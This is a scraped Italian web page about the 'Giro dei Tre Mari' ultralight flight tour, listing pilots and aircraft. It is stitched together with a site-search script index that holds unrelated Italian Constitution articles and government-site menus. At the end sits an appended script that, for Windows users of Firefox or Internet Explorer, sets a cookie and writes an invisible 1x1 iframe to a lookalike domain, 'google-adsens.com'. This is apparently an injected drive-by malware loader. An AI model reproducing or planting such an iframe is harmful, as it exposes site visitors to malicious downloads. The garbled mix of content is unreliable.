velivoli tutti agguerriti e vogliosi di avventura. La voglia di divertirsi, di cimentarsi in orientamento, nella sana competizione di chi vuol fare meglio, sono superbi desideri di chi da tempo pratica il volo sportivo. Questi appassionati aviatori su ultraleggeri di varia potenza e marca, si sono dati come obiettivo il sorvolo di mezz'Italia toccando le terre bagnate dai tre mari:Adriatico, Ionio e Tirreno. Partiti da Valvibrata (Teramo) percorrono la costa adriatica e fanno tappa a San Giovanni Rotondo nel nostro campo. Dopo una giornata di gioiosa allegria, alle ore 16,30 ci siamo salutati e si parte in direzione del campo di volo di Pantano - Potenza. Dopo il pernottamento in Basilicata, ripartiranno alla volta del campo di volo &quot;Albatros&quot; a Zungri - Vibo Valentia - Calabria (Monte Poro). Da lì il gruppo sarà in Sicilia e raggioungerà l'aviosuperfice di Marina di Modica - Ragusa - Sicilia Sulla via del ritorno li vedranno posarsi sull'ultima tappa: il campo di volo Capo d'Orlando - Messina - Sicilia Auguri a tutti e buon ritorno a San Giovanni Rotondo. Telefonateci e saremo contenti di rinsaldare la nostra amicizia. Elenco dei partecipanti al Giro Renato Gheradini Pilota: Renato Gheradini su un velivolo di &quot;razza&quot;, qualificato per velivolo a decollo e atterraggio corti il &quot;Savannah BW&quot;, con carrello triciclo anteriore, si presta bene al diporto locale ma anche per i lunghi voli. Renato ci racconta che viaggia per piacere e il volo è per lui una grande passione. Trovare il tempo per partire diventa difficile, ma ci riesce sempre. Stefano Celoria Pilota: Stefano Celoria accompagnato dalla compagna di origine olandese, vola su un Tecnam P92 Eaglet velivolo moderno dalle prestazioni superiori Provenienti da Lodi, fanno capo all'aviosuperfice di Massalengo . Hanno gustato la buona cucina locale e ricordano con piacere per l'accoglienza riservata loro.  Renato Revello Pilota: Renato Revello , vola su un TL-96 STAR aereo di produzione ceca ad ala bassa, capace di velocità sostenute attorno ai 250 km h; velocità di avvicinamento 120 km h., velocità minima 63 km h. che dà l'idea della capacità di sostentamento. Provenienti dall'aviosuperfice di Bene Vagienna (Cuneo). Claudio Carini e Antonio Bosi Pilota: Claudio Carini accompagnato da Antonio Bosi, volano su un P92 Echo della Tecnam. Molto diffuso fra gli amanti del volo ultraleggero tranquillo. Provenienti da Piacenza, fanno scalo al campo di volo privato di Alilafer. Lino Coatti Pilota: Lino Coatti, vola su un ASSO V autocostruito. Questo aereo dai bellimi colori giallo-azzurro. Proviene dall'Avioclub Ravenna. Amedeo Cincione Pilota: Amedeo Cincione, vola su un deltaplano di costruzione francese: Air Creation TANARG 912 Monta un motore Rotax 912 da 80 cv. con sedile e ruote carenate. La sigla è I-8386 Mirco Succi Pilota: Mirco Succi, con un deltaplano POLARIS SKIN 912 La sigla del velivolo è I-8379 Fa base al Campo di volo Settecrociari (Cesena). Sirio Barba Pilota: Sirio Barba, vola su Tecnam P92 Echo Super. Sigla I-8389 Fa capo all'aviosuperfice di Massalengo (Lodi). Marco Arfelli Pilota: Marco Arfelli , vola con un Tecnam P92 Echo con motore 582 a due tempi. Fa base al Campo di volo ARF Curtatone (Mantova). Mauro Baldacci Pilota: Mauro Baldacci l'accompagna nel giro Renata Scuri. Vola con un Okavango Land Africa; al velivolo sono state apportate alcune modifiche per migliorarne le prestazioni. Fa base al Campo di volo Mezzana Bigli (Pavia). Luca Colombo Pilota: Luca Colombo, vola con un SAVANNAH Biciclo, monta un motore Rotax 914. Fa base al Campo di volo Groane Scuola di volo AGV. Arturo Bertoldo Pilota: Arturo Bertoldo, l'accompagna nel giro Ombretta Peroò. Volano su un motoaliante costruito dalla Urban Air di nome &quot;LAMBADA&quot;. Aereo dall'aspetto fortemente aerodinamico, slanciato ed elegante, con ali di 11 (?) metri, d'una &quot;envergure&quot; larga e affilata; le terminazioni alari che prolungano le ali di due metri, aumentano notevolmente l'efficienza e lo sbalzo riduce la possibile scivolata d'ala. Gli accorgimenti tecnici studiati per una maggiore stabilità e sicurezza in assenza di motore o ai bassi regimi, (comandi autoallineanti, leggeri e sensibili), gli danno una manovrabilità eccezionale nella ricerca delle correnti d'aria favorevoli a garantigli un notevole risparmio di carburante. Totalmente costruito in fibre di vetro e carbonio, la sua concezione permette lo smontaggio e rimontaggio, rapido e sicuro delle semiali e i piani di coda. Più pesante di un aliante tradizionale, monta motori ROTAX 912 UL(S) da 80 o 100 HP, è determinata dalla struttura più complessa dovuta alla ingegneria legata al castello motore e ai rinforzi relativi strutturali. Carrello triciclo anteriore carenato. Fa base all'Aviosuperfice Musine' (Torino) e la sua sigla è: I-8561 Giandomenico Bonfigli Pilota: Giandomenico Bonfigli, vola accompagnato dal genero Walter Cardarelli. Partecipa per la prima volta al Giro con un FLYITALIA RIDER MD3 con motore: Rotax 100 hp, mostrando lo spirito d'avventura prorio dei cavalieri dell'aria d'altri tempi. Fa base al Campo di volo Valvibrata (Teramo). Ettore Destri Pilota: Ettore Destri, vola con un FLY SYNTHESIS TEXAN RG, con carrello retrattile, monta un motore Rotax 912 ULS di 100 HP. Fa base al Campo di volo privato Vescovato (Cremona).  Ennio Errani Pilota: Ennio Errani, vola su un motoaliante costruito dalla Urban Air di nome &quot;LAMBADA&quot;. Nota dell'autore: Gli aerei con sigla di San Marino, es. T7-MED possono atterrare sulle piste degli aeroporti di aviazione generale e su tutte le piste esistenti. Che regolamentazione è questa? Fa base al Campo di volo AVIO CLUB LYRA 34 Maiano di Lugo (Ravenna). Elenco dei partecipanti e foto Alto Stampa Mauro Baldacci e Renata Scuri Battesimo dell'Aria Fate un regalo intelligente: regalate un giro in aeroplano sul Parco Nazionale del Gargano. Telefonateci o scrivete a: E-mail: Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[84]=new Array("http://xoomer.virgilio.it/garganoviaggi/baldacci.html","GIRO DEI TRE MARI - Pilota Mauro Baldacci","","GIRO DEI TRE MARI 2009 - Pilota: Mauro Baldacci è accompagnato nel giro da Renata Scuri. Vola con un Okavango Land Africa Web produzione Garganonet © www.volareflyfree.it Severino Tognoni");sQ1[85]=new Array("http://xoomer.virgilio.it/garganoviaggi/bertoldo.html","GIRO DEI TRE MARI - BERTOLDO","","GIRO DEI TRE MARI 2009 - Pilota: Arturo Bertoldo, l'accompagna nel giro Ombretta Peroò. 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Art. 3 Tutti i cittadini hanno pari dignità sociale e sono eguali davanti alla legge, senza distinzione di sesso, di razza, di lingua, di religione, di opinioni politiche, di condizioni personali e sociali. È compito della Repubblica rimuovere gli ostacoli di ordine economico e sociale, che, limitando di fatto la libertà e l'eguaglianza dei cittadini, impediscono il pieno sviluppo della persona umana e l'effettiva partecipazione di tutti i lavoratori all'organizzazione politica, economica e sociale del Paese. Art. 4 La Repubblica riconosce a tutti i cittadini il diritto al lavoro e promuove le condizioni che rendano effettivo questo diritto. Ogni cittadino ha il dovere di svolgere, secondo le proprie possibilità e la propria scelta, un'attività o una funzione che concorra al progresso materiale o spirituale della società. Art. 5 La Repubblica, una e indivisibile, riconosce e promuove le autonomie locali; attua nei servizi che dipendono dallo Stato il più ampio decentramento amministrativo; adegua i principi ed i metodi della sua legislazione alle esigenze dell'autonomia e del decentramento. Art. 6 La Repubblica tutela con apposite norme le minoranze linguistiche. Art.7 Lo Stato e la Chiesa cattolica sono, ciascuno nel proprio ordine, indipendenti e sovrani. I loro rapporti sono regolati dai Patti Lateranensi. Le modificazioni dei Patti accettate dalle due parti, non richiedono procedimento di revisione costituzionale.[ 1] Art. 8  Tutte le confessioni religiose sono egualmente libere davanti alla legge. Le confessioni religiose diverse dalla cattolica hanno diritto di organizzarsi secondo i propri statuti, in quanto non contrastino con l'ordinamento giuridico italiano. I loro rapporti con lo Stato sono regolati per legge sulla base di intese con le relative rappresentanze. [ 2] Art. 9 La Repubblica promuove lo sviluppo della cultura e la ricerca scientifica e tecnica. Tutela il paesaggio e il patrimonio storico e artistico della Nazione. Art. 10 L'ordinamento giuridico italiano si conforma alle norme del diritto internazionale generalmente riconosciute. La condizione giuridica dello straniero è regolata dalla legge in conformità delle norme e dei trattati internazionali. Lo straniero, al quale sia impedito nel suo paese l'effettivo esercizio delle libertà democratiche garantite dalla Costituzione italiana, ha diritto d'asilo nel territorio della Repubblica secondo le condizioni stabilite dalla legge. Non è ammessa l'estradizione dello straniero per reati politici. [ 3] Art. 11 L'Italia ripudia la guerra come strumento di offesa alla libertà degli altri popoli e come mezzo di risoluzione delle controversie internazionali; consente, in condizioni di parità con gli altri Stati, alle limitazioni di sovranità necessarie ad un ordinamento che assicuri la pace e la giustizia fra le Nazioni; promuove e favorisce le organizzazioni internazionali rivolte a tale scopo. Art. 12 La bandiera della Repubblica è il tricolore italiano: verde, bianco e rosso, a tre bande verticali di eguali dimensioni. LA COSTITUZIONE Principi fondamentali Parte prima Titolo I Titolo II Titolo III Titolo IV Parte seconda Titolo I Titolo II Titolo III Titolo IV Titolo V Titolo VI Disposizioni finali e transitorie Note Documenti da scaricare Il testo completo della Costituzione in formato .pdf - 148 Kb Indice principale del sito Il PresidenteMario Monti Il Governo Ministri e Ministeri Consiglio dei Ministri Presidenza del Consiglio Costituzione italiana L'azione di Governo Provvedimenti Politiche economiche Governo Informa Comunicati stampa Audiovisivi Dossier Rassegne stampa Fototeca Campagne di comunicazione Informazioni generali sul sito Informazioni generali sul sito Contatti Link Siti archeologici Privacy Copyright Torna ai servizi e al motore di ricerca Torna al contenuto Torna all'indice del sito Keywords: governo italiano, presidente del consiglio, primo ministro, consiglio dei minitri, presidenza del consiglio dei ministri, legge, decreto, e-government, premier");sQ1[87]=new Array("http://www.youtube.com/watch?v=EwS1qwEGSRY&feature=related","YouTube - Festa della Repubblica - 2 Giugno 2010 Parata Militare - PARTE 1 di 14","","");var sQb=0;var sQc=1;var sQd=2;var sQe=3;var sQf=4;var sQg=5;var sQh=6;var sQi=7;var sQj=8;var sQk;var sQdl;var sQm;var sQn; var sQ98 ; var sQB=true;var sQC=1;var sQE=2;var sQD=3;var sQF=4;var sQP=false;var sQQ=true;var sQ46=true;var sQ83=true;var sQ73=true;var sQ14=true;var sQ17=false;var sQ90=-1;var sQ45=0;var sQT;function SMPSetFocus() { document.formSearch.txtSearch.focus(); }
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"page shown." : "pages shown."; sQk += "<p><font face=\"Arial\" size=\"2\" color=#000000>" + sQT + " " + sQA + "&nbsp;</font>"; } sQk += "<a href=\"javascript:history.go(-1)\"><font face=\"Arial\" size=\"2\">Search Again</font></a></p>"; sQk += "</p></body></html>"; } function sQ11() { var sQ23 = sQk;document.open(); document.write(sQ23); document.close(); } function sQ03( sQy ) { var sQqh="";for( var sQt=0; sQt<sQy.length; sQt++) { if( sQy.charAt(sQt)=="<" ) { sQqh += "&lt;"; } else if( sQy.charAt(sQt)==">" ) { sQqh += "&gt;"; } else if( sQy.charAt(sQt)=="\"" ) { sQqh += "&quot;"; } else { sQqh += sQy.charAt(sQt); } } return( sQqh ); } function sQ93() { sQm = sQdl.indexOf("*"); if( sQm == 0 ) { sQm = -2; sQn = false; } else if (sQm == sQdl.length -1) { sQm = -3; sQn = false; } else if (sQm > 0 ) { sQm = -4;sQn = true; } else { sQn = false; } if ( sQdl.indexOf("*") != sQdl.lastIndexOf("*") ) { if( sQm == -2 ) { if( sQdl.lastIndexOf("*") == sQdl.length - 1 ) { sQm = -5; } else { sQm = -4; sQn = true; } } }if( ( sQm == -2 ) || (sQm == -5 )) { sQdl = sQdl.substring( 1, sQdl.length ); } if( ( sQm == -3 ) || (sQm == -5 )) { sQdl = sQdl.substring( 0, sQdl.length - 1 ); } } function SMPStartSearch() { var sQv;sQdl=document.formSearch.txtSearch.value;if (( sQdl.length > 0 )&&( sQdl != "*" )) { sQk = "";sQdl = sQ03(sQdl);sQ98 = sQdl; sQ93();if( sQ17 ) { sQv = sQdl; } else { sQv = sQdl.toUpperCase(); }if (sQ45 != 0) { sQ41=sQv.split(' '); } else { sQ41=sQv.split(); }if ( !(sQn ) ) { for( var sQt=1; sQt<sQ1.length; sQt++ ) { sQ4( sQt, sQv ); } sQ6(); } sQW();sQV();sQY();sQ11(); } } 
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
